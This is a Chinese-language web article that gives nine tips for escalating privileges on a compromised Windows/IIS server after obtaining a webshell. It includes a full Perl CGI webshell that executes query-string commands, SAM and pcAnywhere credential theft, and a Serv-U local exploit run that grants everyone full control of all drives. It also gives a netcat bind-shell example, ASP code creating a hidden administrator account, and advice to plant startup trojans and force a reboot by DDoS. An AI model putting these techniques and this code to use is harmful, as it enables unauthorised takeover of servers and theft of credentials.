提升(web)权限终极9技巧

(编辑:jimmy 日期: 2024/12/23 浏览:2)

当我们取得一个webshell时候,下一部要做的就是提升权限 
个人总结如下: 
1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere 看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆 
2.C:\WINNT\system32\config进这里下它的SAM,破解用户的密码 
用到破解sam密码的软件有LC,SAMinside 
3.C:\Documents and Settings\All Users\「开始」菜单\程序 看这里能跳转不,我们从这里可以获取好多有用的信息 
可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转 
进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空 
[USER=WekweN|1] 
Password= 
HomeDir=c:TimeOut=600 
Maintenance=System 
Access1=C:\|RWAMELCDP 
Access1=d:\|RWAMELCDP 
Access1=f:\|RWAMELCDP 
SKEYValues= 
这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限 

4.c:\winnt\system32\inetsrv\data就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行 
5.看能否跳转到如下目录 
c:\php, 用phpspy 
c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell 
#!/usr/bin/perl 
binmode(STDOUT); 
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27); 
$_ = $ENV{QUERY_STRING}; 
s/%20/ /ig; 
s/%2f/\//ig; 
$execthis = $_; 
syswrite(STDOUT, "<HTML><PRE>\r\n", 13); 
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR"; 
system($execthis); 
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17); 
close(STDERR); 
close(STDOUT); 
exit; 
保存为cgi执行, 
如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir 
显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录 
http://anyhost//cmd.pl?c\perl\bin\su.exe 
返回: 
Serv-u >3.x Local Exploit by xiaolu 
USAGE: serv-u.exe "command" 
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 
现在是 IUSR 权限,提交: 
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 
如果返回下面的信息,就表示成功了 
Serv-u >3.x Local Exploit by xiaolu 
<220 Serv-U FTP Server v5.2 for WinSock ready... 
>USER LocalAdministrator 
<331 User name okay, need password. 
****************************************************** 
>PASS #l@$ak#.lk;0@P 
<230 User logged in, proceed. 
****************************************************** 
>SITE MAINTENANCE 
****************************************************** 
[+] Creating New Domain... 
<200-DomainID=2 
<220 Domain settings saved 
****************************************************** 
[+] Domain xl:2 Created 
[+] Creating Evil User 
<200-User=xl 
200 User settings saved 
****************************************************** 
[+] Now Exploiting... 
>USER xl 
<331 User name okay, need password. 
****************************************************** 
>PASS 111111 
<230 User logged in, proceed. 
****************************************************** 
[+] Now Executing: cacls.exe c: /E /T /G everyone:F 
<220 Domain deleted 
这样所有分区为everyone完全控制 
现在我们把自己的用户提升为管理员: 
http://anyhost//cmd.pl?c\perl\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 

6.可以成功运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限 
用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps 
查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll 
再将asp.dll加入特权一族 
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样) 
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll" 
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了 
7.还可以用这段代码试提升,好象效果不明显 
<<%Response.Expires=0">%@codepage=936%><%Response.Expires=0 
on error resume next 
Session.TimeOut=50 
Server.ScriptTimeout=3000 
set lp=Server.CreateObject("WSCRIPT.NETWORK") 
oz="WinNT://"&lp.ComputerName 
Set ob=GetObject(oz) 
Set oe=GetObject(oz&"/Administrators,group") 
Set od=ob.Create("user","WekweN$") 
od.SetPassword "WekweN" <-----密码 
od.SetInfo 
Set of=GetObject(oz&"/WekweN$,user") 
oe.Add(of.ADsPath) 
Response.write "WekweN$ 超级帐号建立成功!"%> 

用这段代码检查是否提升成功 
<%@codepage=936%> 
<%Response.Expires=0 
on error resume next '查找Administrators组帐号 
Set tN=server.CreateObject("Wscript.Network") 
Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group") 
For Each admin in objGroup.Members 
Response.write admin.Name&"<br>" 
Next 
if err then 
Response.write "不行啊:Wscript.Network" 
end if 
%> 
8.C:\Program Files\Java Web Start这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。 
9.最后了,如果主机设置很变态,可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs等木马。 
等到主机重启或者你ddos逼它重启,来达到权限提升的目的。